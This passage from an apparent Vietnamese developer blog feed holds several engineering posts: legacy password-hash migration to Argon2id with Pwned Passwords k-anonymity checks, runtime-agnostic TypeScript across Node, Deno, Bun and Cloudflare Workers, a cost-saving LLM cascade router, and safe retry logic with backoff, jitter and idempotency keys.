    C -->|Fail| H[Từ chối]
    D -->|Fail| H

Giai đoạn 1 (làm ngay, offline): chạy batch job bọc toàn bộ hash cũ: argon2id(md5_hash), đánh dấu hash_type = 'wrapped_md5'. Sau bước này, kể cả DB bị dump thì attacker cũng phải đối mặt với Argon2id. Đừng chờ user login mới bảo vệ họ.
Giai đoạn 2 (dần dần): khi user login thành công, tính md5(password), verify với hash đã bọc, đúng thì hash lại bằng Argon2id thuần và xoá flag.

Sau 6–12 tháng, những account còn ở dạng wrapped thường là account chết. Lúc đó có thể buộc reset password cho nhóm này.

3. Chặn password đã bị lộ bằng k-anonymity

Hash tốt cũng không cứu được password 123456, vì attacker thử nó đầu tiên. NIST SP 800-63B (bản rev 4) nói rõ: bỏ mấy rule kiểu bắt có ký tự đặc biệt, thay vào đó check password với danh sách password đã bị lộ. Cái rule bắt có chữ hoa, số, ký tự đặc biệt chỉ sinh ra Password@123, cũng nằm trong mọi wordlist.

API Pwned Passwords của Have I Been Pwned dùng kỹ thuật k-anonymity: bạn chỉ gửi 5 ký tự đầu của SHA-1, server trả về khoảng vài trăm suffix khớp prefix đó, việc so sánh làm ở phía bạn. Password thật không bao giờ rời khỏi server của bạn.

sequenceDiagram
    participant U as User
    participant S as Backend
    participant H as Pwned Passwords API
    U->>S: Đăng ký với password
    S->>S: SHA-1 rồi tách prefix 5 ký tự và suffix
    S->>H: GET /range/7C4A8
    H-->>S: Danh sách suffix:count
    S->>S: So khớp suffix ở local
    S-->>U: Từ chối nếu count lớn hơn 0

Thử nhanh bằng bash xem 123456 bị lộ bao nhiêu lần:

HASH=$(printf '%s' '123456' | shasum -a 1 | awk '{print toupper($1)}')
PREFIX=${HASH:0:5}
SUFFIX=${HASH:5}
curl -s https://api.pwnedpasswords.com/range/$PREFIX | grep $SUFFIX
# D09CA3762AF61E59520943DC26494F8941B:<con số hàng chục triệu>

Còn đây là bản Node.js 20+ mình dùng trong signup và đổi password flow, không cần thêm dependency nào:

import { createHash } from 'node:crypto';

export async function pwnedCount(password) {
  const sha1 = createHash('sha1').update(password).digest('hex').toUpperCase();
  const prefix = sha1.slice(0, 5);
  const suffix = sha1.slice(5);

  try {
    const res = await fetch(`https://api.pwnedpasswords.com/range/${prefix}`, {
      headers: { 'Add-Padding': 'true', 'User-Agent': 'my-app-password-check' },
      signal: AbortSignal.timeout(2000),
    });
    if (!res.ok) return null;
    const body = await res.text();
    for (const line of body.split('\n')) {
      const [hashSuffix, count] = line.trim().split(':');
      if (hashSuffix === suffix) return parseInt(count, 10);
    }
    return 0;
  } catch {
    return null; // API lỗi hoặc timeout: fail-open, log lại để theo dõi
  }
}

Vài lưu ý khi đưa lên production:

Header Add-Padding: true giúp response có kích thước gần như cố định, người nghe lén traffic không đoán được prefix qua độ dài response.
Fail-open hay fail-closed? Mình chọn fail-open (cho đăng ký tiếp nếu API chết), vì đây là lớp phòng thủ bổ sung chứ không phải lớp duy nhất. Hệ thống tài chính có thể chọn ngược lại.
Nếu không muốn phụ thuộc API bên ngoài, có thể tải toàn bộ dataset về (vài chục GB) và tự host. Với hầu hết dự án vừa và nhỏ thì gọi API là đủ.
Chỉ check khi đặt hoặc đổi password, không check mỗi lần login.

4. Những thứ nhỏ nhưng hay bị quên

Độ dài tối thiểu: NIST rev 4 yêu cầu tối thiểu 8 ký tự, và 15 nếu password là yếu tố xác thực duy nhất. Tối đa nên cho ít nhất 64 ký tự để user dùng passphrase hoặc password manager thoải mái.
Không truncate, không cấm paste. Cấm paste thì user chỉ còn cách gõ password ngắn và dễ nhớ.
Log: grep thử log của bạn với từ khoá password. Mình từng thấy request body chứa password nằm nguyên trong log ELK.
So sánh constant-time: thư viện Argon2 đã lo phần này, đừng tự viết hash == stored.
MFA cho admin panel là bắt buộc. Password tốt đến đâu cũng có thể bị phishing.

Kết luận

Vụ 123456 ở Đan Mạch không phải lỗi của một user, mà là lỗi của hệ thống đã chấp nhận nó. Checklist mình áp dụng cho mọi dự án:

Hash bằng Argon2id với tối thiểu m=19456, t=2, p=1, benchmark trên máy production để mỗi lần hash mất 200–500ms.
Bật check_needs_rehash để nâng tham số dần mà không cần migration lớn.
Hash cũ (MD5/SHA)? Bọc ngay bằng Argon2id trong một batch job, sau đó nâng cấp dần khi user login.
Bỏ composition rules, thay bằng check Pwned Passwords qua k-anonymity khi đăng ký và đổi password.
Rate limit login endpoint, bật MFA cho admin, và grep log tìm password bị lộ.

Tất cả gom lại chưa tới 100 dòng code, làm trong một buổi chiều là xong. Rẻ hơn rất nhiều so với việc tên công ty bạn lên top HN vì một vụ breach.

Write Once, Run on Any Runtime: Practical Runtime-Agnostic TypeScript for Node, Deno, Bun and Cloudflare Workers

EME GUG — Fri, 09 Oct 2026 22:08:40 +0000

Tin Cloudflare mua lại Deno đang leo top Hacker News, và phần bình luận chia làm hai phe: một phe mừng vì Deno có "nhà giàu" chống lưng, phe kia lo bị vendor lock-in. Mình thấy câu hỏi thực tế hơn cho dev là: nếu ngày mai runtime bạn đang dùng đổi chủ, đổi giá hoặc đổi hướng đi, code của bạn mất bao lâu để chuyển sang chỗ khác? Với nhiều team mình từng làm cùng, câu trả lời là "vài tuần", vì process.env, fs, Buffer và req.body của Express nằm rải rác khắp codebase. Bài này chia sẻ cách mình viết TypeScript backend để cùng một core chạy được trên Node.js 22/24, Deno 2.x, Bun 1.2+ và Cloudflare Workers mà gần như không phải sửa gì.

Nền tảng chung: Web Standard APIs

Vài năm trước, mỗi runtime có một API riêng. Bây giờ thì khác: nhờ nhóm WinterTC (trước đây là WinterCG), cả bốn runtime đều hỗ trợ một tập API chung:

Request, Response, Headers, fetch
URL, URLSearchParams
ReadableStream, TextEncoder/TextDecoder
crypto.subtle, crypto.randomUUID()
structuredClone, AbortController

Vậy nguyên tắc đầu tiên rất đơn giản: business logic chỉ được dùng Web Standard APIs. Code nào cần đến node:fs, Deno.env hay env.MY_KV thì đẩy ra ngoài rìa, vào một lớp adapter mỏng.

graph TD
    A[Core: fetch handler + business logic] --> B[Web Standard APIs]
    C[entry.node.ts] --> A
    D[entry.deno.ts] --> A
    E[entry.bun.ts] --> A
    F[entry.worker.ts] --> A
    G[Config / Storage interface] --> A

Core không biết nó đang chạy ở đâu. Mỗi file entry chỉ dài 5-15 dòng, làm đúng một việc: đọc config của runtime đó rồi truyền vào core.

Viết core dưới dạng fetch handler

Thay vì (req, res) => {} kiểu Express, ta viết một hàm nhận Request và trả về Promise<Response>. Đây là "hợp đồng" chung mà runtime nào cũng hiểu.

// src/core/app.ts
export interface AppDeps {
  config: { apiKey: string; env: "dev" | "prod" };
  store: KeyValueStore;
}

export interface KeyValueStore {
  get(key: string): Promise<string | null>;
  put(key: string, value: string, ttlSec?: number): Promise<void>;
}

async function sha256(text: string): Promise<string> {
  const buf = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(text));
  return [...new Uint8Array(buf)].map((b) => b.toString(16).padStart(2, "0")).join("");
}

export function createApp(deps: AppDeps) {
  return async function fetch(req: Request): Promise<Response> {
    const url = new URL(req.url);

    if (url.pathname === "/health") {
      return Response.json({ ok: true, env: deps.config.env });
    }

    if (url.pathname === "/shorten" && req.method === "POST") {
      const { link } = (await req.json()) as { link: string };
      const id = (await sha256(link)).slice(0, 8);
      await deps.store.put(id, link, 60 * 60 * 24 * 30);
      return Response.json({ id, short: `${url.origin}/${id}` }, { status: 201 });
    }

    const target = await deps.store.get(url.pathname.slice(1));
    return target ? Response.redirect(target, 302) : new Response("Not found", { status: 404 });
  };
}

Có ba điểm cần để ý:

Dùng crypto.subtle chứ không dùng node:crypto. Chạy được ở mọi nơi, kể cả Workers khi không bật nodejs_compat.
Config được inject vào, không đọc trực tiếp. Trong core tuyệt đối không có process.env. Đây là lỗi mình gặp nhiều nhất khi review code muốn port sang Workers, vì ở đó env là tham số env của handler chứ không phải biến global.
Storage là một interface. Trên Node, bạn có thể dùng Redis. Trên Deno thì Deno KV. Trên Workers thì Workers KV. Còn khi test thì một Map là đủ.

Nếu không muốn tự viết routing, Hono (v4.x) được thiết kế đúng theo triết lý này và chạy được trên cả bốn runtime. Nhưng bạn vẫn nên hiểu cơ chế bên dưới trước khi dùng framework.

Adapter cho từng runtime

Đây là phần duy nhất được phép "bẩn":

// entry.node.ts  (Node 22+, cần: npm i @hono/node-server ioredis)
import { serve } from "@hono/node-server";
import { createApp } from "./src/core/app.ts";
import { redisStore } from "./src/adapters/redis.ts";

const fetch = createApp({
  config: { apiKey: process.env.API_KEY!, env: "prod" },
  store: redisStore(process.env.REDIS_URL!),
});
serve({ fetch, port: 3000 });

// entry.deno.ts  (Deno 2.x)
import { createApp } from "./src/core/app.ts";
import { denoKvStore } from "./src/adapters/deno-kv.ts";

const kv = await Deno.openKv();
Deno.serve({ port: 3000 }, createApp({
  config: { apiKey: Deno.env.get("API_KEY")!, env: "prod" },
  store: denoKvStore(kv),
}));

// entry.worker.ts  (Cloudflare Workers, wrangler 4.x)
import { createApp } from "./src/core/app";
import { workersKvStore } from "./src/adapters/workers-kv";

export default {
  fetch(req: Request, env: { API_KEY: string; LINKS: KVNamespace }) {
    return createApp({
      config: { apiKey: env.API_KEY, env: "prod" },
      store: workersKvStore(env.LINKS),
    })(req);
  },
};

Với Bun thì đơn giản hơn nữa: Bun.serve({ port: 3000, fetch }), hoặc dùng luôn cú pháp export default { fetch } giống Workers.

Luồng xử lý một request lúc này trông như sau:

sequenceDiagram
    participant C as Client
    participant R as Runtime (Node/Deno/Workers)
    participant A as Adapter entry
    participant Core as Core fetch()
    participant S as Store impl
    C->>R: HTTP POST /shorten
    R->>A: native request
    A->>Core: Request (Web standard)
    Core->>S: store.put(id, link)
    S-->>Core: ok
    Core-->>A: Response
    A-->>C: 201 JSON

Kiểm tra tính portable bằng CI

Nói "code chạy được mọi nơi" mà không có test thì chỉ là hy vọng. Mình viết test theo kiểu gọi thẳng vào fetch handler (không cần mở port), dùng một Map làm store, rồi chạy cùng một file test trên nhiều runtime:

# Node 22+ có test runner sẵn và chạy được TS với --experimental-strip-types
node --experimental-strip-types --test tests/app.test.ts

# Deno 2.x chạy được node:test nhờ lớp tương thích
deno test --allow-env tests/app.test.ts

# Bun
bun test tests/app.test.ts

# Workers: dùng @cloudflare/vitest-pool-workers để chạy trong workerd thật
npx vitest run --config vitest.workers.config.ts

Trong GitHub Actions, đặt bốn lệnh này vào một job matrix. Thêm một rule ESLint chặn import vào thư mục core:

{
  "rules": {
    "no-restricted-imports": ["error", { "patterns": ["node:*", "fs", "path", "bun"] }],
    "no-restricted-globals": ["error", "process", "Buffer", "Deno", "Bun"]
  }
}

Chỉ áp rule này cho src/core/**. Lần đầu bật lên có thể bạn sẽ thấy hàng chục lỗi, và đó chính là danh sách "nợ lock-in" của bạn.

Một vài cái bẫy mình từng dính:

Buffer vẫn len lỏi vào qua các thư viện cũ. Hãy thay bằng Uint8Array và TextEncoder.
Thư viện npm dùng node:net hoặc node:tls (nhiều driver database kiểu cũ) sẽ không chạy trên Workers. Khi chọn thư viện, ưu tiên loại kết nối qua HTTP/fetch.
Cùng là Request nhưng không phải lúc nào cũng có giới hạn CPU time như nhau. Workers giới hạn CPU time cho mỗi request, Node thì không. Code nào hash nặng hoặc parse JSON lớn thì phải đo lại khi chuyển sang edge.
Top-level await dùng thoải mái trên Deno/Node ESM, nhưng trên Workers thì nên khởi tạo bên trong handler hoặc lazy-init.

Kết luận

Các thương vụ mua bán trong làng runtime sẽ còn tiếp diễn, và bạn không kiểm soát được chuyện đó. Thứ bạn kiểm soát được là chi phí để rời đi. Các bước nên làm ngay tuần này:

Grep codebase tìm process.env, Buffer, require("fs") trong phần business logic. Mỗi kết quả là một điểm khóa chặt bạn vào runtime.
Chuyển handler sang chữ ký (Request) => Promise<Response>. Có thể bắt đầu từ một endpoint mới, không cần rewrite toàn bộ.
Inject config và storage qua interface, đừng đọc global.
Bật rule ESLint cho src/core và chạy test trên ít nhất hai runtime trong CI.
Ưu tiên crypto.subtle, fetch, ReadableStream thay vì API riêng của Node.

Làm được như vậy, việc chọn Node, Deno, Bun hay Workers chỉ còn là chuyện deploy config, không còn là quyết định kiến trúc. Và khi có tin "X acquires Y" tiếp theo, bạn có thể đọc nó với tâm thế thoải mái.

Cheap Models First: Building an LLM Cascade Router That Cuts Your AI Bill Without Hurting Quality

EME GUG — Fri, 09 Oct 2026 17:50:34 +0000

Tuần này trên Hacker News có một thread gần 1000 điểm hỏi: "Tại sao ngành không hoảng lên vì DeepSeek 4.1 Flash?". Trên Dev.to cũng có bài kiểu "mình đã đưa agent về zero mistakes mà vẫn dùng Flash-Lite". Hai chuyện này nói cùng một điều mà nhiều team ở Việt Nam chưa để ý: model rẻ giờ đủ tốt cho phần lớn request. Model đắt chỉ nên dùng cho phần khó còn lại.

Mình đã refactor một hệ thống xử lý ticket support (khoảng 40k request/ngày) theo kiểu này: đi qua model nhỏ trước, khi cần mới escalate lên model lớn. Chi phí giảm khoảng 70%, còn chất lượng đo bằng eval set thì gần như giữ nguyên. Bài này chia sẻ cách làm cụ thể, có code chạy được.

Vì sao "một model cho tất cả" là lãng phí

Đa số app AI hiện tại hardcode một model, thường là model mạnh nhất cho chắc. Nhưng khi nhìn log thật, bạn sẽ thấy traffic phân bố kiểu này:

~60-70% là request đơn giản: phân loại, extract field, tóm tắt ngắn, format lại JSON.
~20-30% là request trung bình: cần suy luận vài bước.
~5-10% là request thật sự khó: reasoning dài, code phức tạp, context mơ hồ.

Dùng model flagship cho cả nhóm đầu thì giống thuê senior architect đi rename biến. Giá giữa model Flash/Lite và flagship thường chênh 10-30 lần mỗi token, nên chỉ cần chuyển nhóm đơn giản xuống model rẻ là hóa đơn đã giảm mạnh.

Có hai pattern chính:

Routing: phân loại request trước rồi chọn model. Nhanh, nhưng bộ phân loại có thể sai.
Cascade: luôn thử model rẻ trước, validate output, fail thì escalate. Chắc hơn, đổi lại latency cao hơn ở các case khó.

Trong thực tế mình kết hợp cả hai. Sơ đồ như sau:

flowchart TD
    A[Request] --> B{Heuristic router}
    B -->|Simple task| C[Flash-Lite model]
    B -->|Hard task| E[Flagship model]
    C --> D{Validator pass?}
    D -->|Yes| F[Return response]
    D -->|No| G[Flash model]
    G --> H{Validator pass?}
    H -->|Yes| F
    H -->|No| E
    E --> F

Implement cascade router bằng Python

Đa số provider hiện nay (DeepSeek, OpenRouter, vLLM self-host, Ollama...) đều có endpoint OpenAI-compatible, nên mình dùng openai Python SDK (>= 1.40) làm client chung. Môi trường: Python 3.12.

# router.py
import json
import time
from dataclasses import dataclass
from openai import OpenAI

client = OpenAI()  # đọc OPENAI_BASE_URL + OPENAI_API_KEY từ env

@dataclass
class Tier:
    name: str
    model: str
    max_tokens: int

TIERS = [
    Tier('lite', 'flash-lite-model', 512),
    Tier('flash', 'flash-model', 1024),
    Tier('flagship', 'flagship-model', 4096),
]

def validate(output: str, required_keys: list[str]) -> bool:
    try:
        data = json.loads(output)
    except json.JSONDecodeError:
        return False
    if not all(k in data for k in required_keys):
        return False
    # model nhỏ hay "đoán bừa" -> bắt nó tự khai confidence
    return data.get('confidence', 0) >= 0.7

def cascade(prompt: str, required_keys: list[str], start: int = 0):
    for tier in TIERS[start:]:
        t0 = time.perf_counter()
        resp = client.chat.completions.create(
            model=tier.model,
            messages=[{'role': 'user', 'content': prompt}],
            max_tokens=tier.max_tokens,
            response_format={'type': 'json_object'},
            temperature=0,
        )
        out = resp.choices[0].message.content
        ms = int((time.perf_counter() - t0) * 1000)
        ok = validate(out, required_keys)
        print(f'[{tier.name}] {ms}ms ok={ok} tokens={resp.usage.total_tokens}')
        if ok or tier is TIERS[-1]:
            return tier.name, json.loads(out)

Có vài điểm mình học được sau khi làm thật:

Validator là trái tim của cascade. Nếu chỉ check "có trả về hay không" thì model rẻ lúc nào cũng pass. Phải check được cấu trúc (JSON schema, Pydantic), ràng buộc nghiệp vụ (enum hợp lệ, số nằm trong range) và self-reported confidence.
temperature=0 ở tier rẻ giúp output ổn định hơn và dễ debug hơn.
Bỏ qua tier khi cần: tham số start cho phép router heuristic đẩy thẳng request khó lên tier cao, khỏi tốn thêm một round-trip vô ích.

Phần heuristic thì không cần ML gì cao siêu. Mình chỉ dùng mấy rule đơn giản:

def pick_start_tier(prompt: str, task_type: str) -> int:
    if task_type in {'classify', 'extract', 'translate_short'}:
        return 0
    if task_type == 'code_review' or len(prompt) > 12_000:
        return 2  # context dài, model nhỏ hay "quên" giữa chừng
    return 1

Đừng tin cảm giác: dựng eval set trước khi chuyển

Đây là bước nhiều team bỏ qua rồi sau đó quay lại kêu "model rẻ ngu quá". Trước khi đổi production, bạn cần một eval set gồm khoảng 200-500 request thật đã gán nhãn đúng, lấy từ log, nhớ ẩn danh dữ liệu khách hàng.

sequenceDiagram
    participant L as Production logs
    participant E as Eval set (JSONL)
    participant R as Cascade router
    participant M as Metrics
    L->>E: Sample 300 requests + label
    E->>R: Replay từng case
    R->>M: tier dùng, đúng/sai, latency, cost
    M-->>R: Tune threshold confidence

Script replay đơn giản, chạy nền để khỏi block terminal:

# eval_set.jsonl: mỗi dòng {"prompt": ..., "task": ..., "expected": ...}
nohup python3 run_eval.py --data eval_set.jsonl --out results.jsonl > eval.log 2>&1 &

# Sau khi chạy xong: tỉ lệ request dừng ở mỗi tier
jq -r '.tier' results.jsonl | sort | uniq -c

# Accuracy theo từng tier
jq -s 'group_by(.tier) | map({tier: .[0].tier, acc: (map(select(.correct)) | length) / length})' results.jsonl

Kết quả lần đầu của mình: 64% dừng ở lite, 27% ở flash, 9% lên flagship. Accuracy tổng chỉ thấp hơn baseline "toàn flagship" có 1.2%. Sau đó mình tune threshold confidence từ 0.7 lên 0.8 thì gần như bằng baseline, đổi lại tỉ lệ dừng ở lite còn 55%. Đó là trade-off bạn phải tự chọn dựa trên số liệu, đừng chọn theo cảm giác.

Những cái bẫy khi chạy production

1. Latency đuôi (p99) tăng. Request đi đủ 3 tier sẽ chậm hơn hẳn so với gọi thẳng flagship. Với flow có user ngồi chờ, nên đặt timeout ngắn cho tier rẻ (2-3s) và cho phép skip tier nếu SLA chặt.

2. Cost ẩn của retry. Request bị escalate tốn tiền cả tier dưới lẫn tier trên. Nếu tỉ lệ escalate vượt khoảng 40% thì cascade có thể còn đắt hơn gọi thẳng flagship. Hãy track metric escalation_rate trên dashboard.

3. Model rẻ "yes-man". Model nhỏ hay tự tin thái quá: confidence 0.95 mà vẫn sai. Đừng chỉ dựa vào self-reported confidence, nên kết hợp thêm validation nghiệp vụ, ví dụ check mã sản phẩm có tồn tại trong DB không.

4. Provider đổi model âm thầm. Hãy pin version model nếu provider cho phép, và chạy lại eval mỗi khi đổi version. Mình để eval chạy trong CI hằng tuần bằng một job cron đơn giản.

5. Log đủ để debug. Mỗi request cần log tier, model, tokens, latency_ms, validator_reason. Khi user báo lỗi, bạn phải biết ngay request đó dừng ở tier nào và vì sao validator cho pass.

Kết luận

Model rẻ không còn là "đồ chơi" nữa. Câu hỏi bây giờ là kiến trúc của bạn có tận dụng được chúng hay không. Checklist để bắt đầu ngay tuần này:

Phân tích log: xem bao nhiêu % request thuộc loại classify/extract/format đơn giản. Đó chính là phần tiền đang lãng phí.
Dựng eval set 200-500 case từ dữ liệu thật trước khi đụng vào production.
Bắt đầu với cascade 2 tier (Flash + flagship), validator dùng JSON schema + confidence. Đừng over-engineer 5 tier ngay từ đầu.
Track 3 metric: escalation rate, accuracy theo tier, cost/request. Escalation vượt 40% thì xem lại validator hoặc routing.
Chạy lại eval định kỳ và mỗi khi provider ra version mới. Model rẻ cải thiện rất nhanh, có khi tháng sau tier lite đã gánh được 80% traffic.

Tối ưu chi phí AI rốt cuộc vẫn là bài toán engineering quen thuộc: đo, phân loại, fallback, monitor. Khác ở chỗ lần này số tiền tiết kiệm được đủ lớn để sếp chú ý.

To Retry or Not to Retry: Safe Retry Logic with Exponential Backoff, Jitter and Idempotency Keys

EME GUG — Thu, 08 Oct 2026 23:44:37 +0000

Hồi trước team mình từng có một sự cố khá kinh điển: payment provider chập chờn khoảng 30 giây, và trong 30 giây đó service của bọn mình gửi 4 lần request charge tiền cho cùng một đơn hàng. Lý do là có 3 tầng cùng retry: SDK của client, service gọi API, và cả job queue phía sau. Không tầng nào sai nếu xét riêng, nhưng gộp lại thì thành thảm họa. Sau lần đó mình rút ra một điều: retry không phải tính năng "thêm vào cho chắc". Làm sai thì nó còn nguy hiểm hơn là không retry gì cả.

Bài này mình chia sẻ cách mình đang làm retry trong production: khi nào nên retry, retry thế nào để không tự DDoS chính hệ thống của mình, và làm sao để retry an toàn với những request có side effect.

Câu hỏi đầu tiên: request này có nên retry không?

Trước khi viết dòng code nào, cần trả lời hai câu hỏi:

Lỗi này có phải lỗi tạm thời (transient) không? Timeout, 503 Service Unavailable, 429 Too Many Requests, ECONNRESET thì đáng retry. Còn 400, 401, 404, 422 thì retry 100 lần vẫn sai y như vậy.
Request này có idempotent không? GET, PUT, DELETE theo chuẩn HTTP là idempotent. POST thì không. Retry một request POST /charges khi bị timeout là cách nhanh nhất để charge khách hai lần, vì timeout không có nghĩa là server chưa xử lý. Rất có thể server đã xử lý xong, chỉ có response là không về tới bạn.

flowchart TD
    A[Request thất bại] --> B{Lỗi transient?<br/>timeout, 429, 502, 503, 504}
    B -- Không --> X[Fail ngay, không retry]
    B -- Có --> C{Request idempotent<br/>hoặc có Idempotency-Key?}
    C -- Không --> X
    C -- Có --> D{Còn retry budget?}
    D -- Không --> X
    D -- Có --> E[Chờ backoff + jitter]
    E --> F[Retry]

Nguyên tắc của mình: mặc định là không retry, chỉ retry khi đã qua đủ cả ba điều kiện trên.

Exponential backoff và vì sao jitter là bắt buộc

Retry ngay lập tức gần như luôn là ý tưởng tồi. Server đang quá tải mà bạn bắn thêm request thì nó càng chết nhanh hơn. Exponential backoff giải quyết việc này: chờ 1s, 2s, 4s, 8s...

Nhưng chỉ backoff thôi thì chưa đủ. Giả sử 10.000 client cùng bị lỗi lúc 10:00:00. Với backoff thuần, cả 10.000 client sẽ cùng retry lúc 10:00:01, rồi cùng lúc 10:00:03... Đây là hiện tượng thundering herd: server vừa hồi phục đã bị đánh sập lại. Jitter (thêm ngẫu nhiên vào thời gian chờ) sẽ rải các request này ra.

Trong Python, mình dùng tenacity (bản 9.x) vì nó khai báo rất gọn:

# pip install tenacity==9.0.0 httpx==0.27.2
import httpx
from tenacity import (
    retry, stop_after_attempt, stop_after_delay,
    wait_random_exponential, retry_if_exception, before_sleep_log,
)
import logging

log = logging.getLogger(__name__)
RETRYABLE_STATUS = {429, 502, 503, 504}

def is_transient(exc: BaseException) -> bool:
    if isinstance(exc, (httpx.TimeoutException, httpx.NetworkError)):
        return True
    if isinstance(exc, httpx.HTTPStatusError):
        return exc.response.status_code in RETRYABLE_STATUS
    return False

@retry(
    retry=retry_if_exception(is_transient),
    wait=wait_random_exponential(multiplier=0.5, max=20),  # full jitter
    stop=(stop_after_attempt(5) | stop_after_delay(30)),
    before_sleep=before_sleep_log(log, logging.WARNING),
    reraise=True,
)
def fetch_user(client: httpx.Client, user_id: int) -> dict:
    resp = client.get(f'/users/{user_id}', timeout=3.0)
    resp.raise_for_status()
    return resp.json()

Vài điểm cần để ý:

wait_random_exponential là full jitter: thời gian chờ là một số ngẫu nhiên trong khoảng [0, min(max, multiplier * 2^n)]. Theo các phân tích về backoff được chia sẻ rộng rãi, full jitter cho tổng số request thấp hơn hẳn so với backoff thuần.
Luôn có hai điều kiện dừng: số lần thử và tổng thời gian. Nếu không, một request có thể treo cả phút trong khi user đã tắt tab từ lâu.
reraise=True để caller nhận đúng exception gốc chứ không phải RetryError.

Tôn trọng Retry-After và giới hạn retry budget

Khi server trả về 429 hoặc 503 kèm header Retry-After, nghĩa là server đang nói thẳng cho bạn biết khi nào nên quay lại. Lờ đi header đó là thiếu lịch sự, và nhiều API (GitHub, Stripe, OpenAI...) sẽ ban token của bạn nếu cứ cố tình spam.

Ví dụ phía Node.js (v20+, dùng fetch có sẵn):

const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const RETRYABLE = new Set([429, 502, 503, 504]);

function parseRetryAfter(header) {
  if (!header) return null;
  const secs = Number(header);
  if (!Number.isNaN(secs)) return secs * 1000;
  const date = Date.parse(header); // dạng HTTP-date
  return Number.isNaN(date) ? null : Math.max(0, date - Date.now());
}

export async function fetchWithRetry(url, opts = {}, { maxAttempts = 4, baseMs = 300, capMs = 10_000 } = {}) {
  for (let attempt = 1; ; attempt++) {
    try {
      const res = await fetch(url, { ...opts, signal: AbortSignal.timeout(5000) });
      if (!RETRYABLE.has(res.status) || attempt >= maxAttempts) return res;

      const serverHint = parseRetryAfter(res.headers.get('retry-after'));
      const backoff = Math.random() * Math.min(capMs, baseMs * 2 ** attempt);
      await sleep(Math.min(capMs, serverHint ?? backoff));
    } catch (err) {
      // TimeoutError / lỗi mạng: chỉ retry nếu còn lượt
      if (attempt >= maxAttempts) throw err;
      await sleep(Math.random() * Math.min(capMs, baseMs * 2 ** attempt));
    }
  }
}

Ngoài ra, quay lại câu chuyện 4 lần charge ở đầu bài: vấn đề lớn nhất là retry ở nhiều tầng. Nếu mỗi tầng retry 3 lần và có 3 tầng thì một request gốc có thể biến thành 3³ = 27 request. Quy tắc mình áp dụng:

Chỉ retry ở một tầng, thường là tầng gần với dependency nhất. Các tầng trên fail nhanh.
Dùng retry budget: ví dụ retry không được vượt quá 10% tổng số request trong một cửa sổ thời gian. gRPC hỗ trợ sẵn qua retryThrottling trong service config, Envoy/Istio cũng có retry_budget.
Kết hợp với circuit breaker (ví dụ pybreaker trong Python, opossum trong Node): khi tỉ lệ lỗi vượt ngưỡng thì ngừng gọi hẳn một lúc thay vì tiếp tục retry vô ích.

Idempotency Key: làm cho POST retry được an toàn

Với những thao tác có side effect như tạo đơn hàng, charge tiền hay gửi email, cách chuẩn là dùng Idempotency Key. Client sinh một UUID cho mỗi thao tác logic (không phải mỗi lần gửi request) và gửi qua header Idempotency-Key. Server lưu kết quả theo key đó, nên nếu nhận lại cùng key thì trả về kết quả cũ thay vì xử lý lại.

sequenceDiagram
    participant C as Client
    participant S as API Server
    participant R as Redis
    C->>S: POST /charges, Idempotency-Key: abc
    S->>R: SET idem:abc PROCESSING NX
    S-->>C: timeout, mất response
    C->>S: Retry POST /charges, Idempotency-Key: abc
    S->>R: GET idem:abc
    R-->>S: response đã lưu
    S-->>C: 201 Created, cùng kết quả cũ

Phía server, một implementation tối giản với FastAPI và Redis:

# pip install fastapi==0.115.0 redis==5.1.0
import json
import redis.asyncio as redis
from fastapi import FastAPI, Header, HTTPException

app = FastAPI()
r = redis.Redis(decode_responses=True)
TTL = 24 * 3600

@app.post('/charges', status_code=201)
async def create_charge(body: dict, idempotency_key: str = Header(...)):
    key = f'idem:{idempotency_key}'

    # Chiếm key một cách atomic; chỉ request đầu tiên thành công
    acquired = await r.set(key, 'PROCESSING', nx=True, ex=TTL)
    if not acquired:
        cached = await r.get(key)
        if cached == 'PROCESSING':
            raise HTTPException(409, 'Request với key này đang được xử lý')
        return json.loads(cached)

    try:
        result = await do_charge(body)  # logic thật, gọi payment provider
    except Exception:
        await r.delete(key)  # cho phép client retry khi lỗi thật sự
        raise

    await r.set(key, json.dumps(result), ex=TTL)
    return result

Trong thực tế bạn nên lưu thêm hash của request body, để nếu client gửi cùng key nhưng body khác thì trả 422 (Stripe làm đúng như vậy). Với hệ thống cần độ bền cao hơn Redis, hãy lưu idempotency record trong cùng transaction PostgreSQL với business data, dùng UNIQUE constraint trên cột key.

Kết luận

Retry trông đơn giản nhưng là một trong những nguồn gây sự cố dây chuyền phổ biến nhất trong distributed system. Checklist mình dùng khi review code:

Mặc định không retry. Chỉ retry lỗi transient (timeout, 429, 502, 503, 504), không bao giờ retry 4xx khác.
Luôn dùng exponential backoff + full jitter, có cả giới hạn số lần thử lẫn tổng thời gian.
Tôn trọng Retry-After khi server gửi về.
Retry ở đúng một tầng, có retry budget và circuit breaker để tránh retry storm.
POST có side effect phải có Idempotency Key. Không có thì không retry, chấm hết.
Log và đo mọi lần retry. Tỉ lệ retry tăng đột biến thường là tín hiệu sớm nhất cho thấy dependency sắp sập.

Nếu chỉ làm được một việc sau khi đọc bài này, hãy grep codebase của bạn tìm những chỗ đang retry POST mà không có idempotency key. Mình cá là bạn sẽ tìm thấy ít nhất một chỗ.

To Retry or Not to Retry: Exponential Backoff, Jitter and Idempotency Keys Done Right

EME GUG — Thu, 08 Oct 2026 17:33:05 +0000

Hầu như dev nào cũng từng viết một vòng for i in range(3) bọc quanh một HTTP call, rồi tự tin là hệ thống đã "resilient". Mình cũng vậy, cho đến một đêm payment gateway của đối tác chậm khoảng 2 giây. Service của tụi mình retry ngay lập tức, 3 lần, trên 40 instance. Một sự cố nhỏ thành ra một cơn retry storm, và gateway sập hẳn. Tệ hơn nữa, vài khách hàng bị trừ tiền 2 lần vì request đầu thật ra đã thành công, chỉ có response là bị timeout.

Retry không phải lúc nào cũng sai, nhưng retry ẩu thì nguy hiểm hơn là không retry. Bài này tóm lại những gì mình rút ra sau vài lần bị ăn hành: khi nào nên retry, retry thế nào cho đúng, và làm sao để retry không gây hậu quả.

Khi nào nên retry, khi nào không

Câu hỏi đầu tiên không phải là "retry mấy lần" mà là: lỗi này có phải lỗi tạm thời không, và thao tác này có idempotent không?

flowchart TD
    A[Request thất bại] --> B{Lỗi tạm thời?<br/>timeout, 429, 502, 503, 504}
    B -- Không: 400, 401, 404, 422 --> X[Fail ngay, không retry]
    B -- Có --> C{Thao tác idempotent?<br/>GET, PUT, DELETE hoặc có Idempotency-Key}
    C -- Không --> Y[Không retry tự động<br/>hoặc thêm idempotency key]
    C -- Có --> D{Còn budget?<br/>số lần + tổng thời gian}
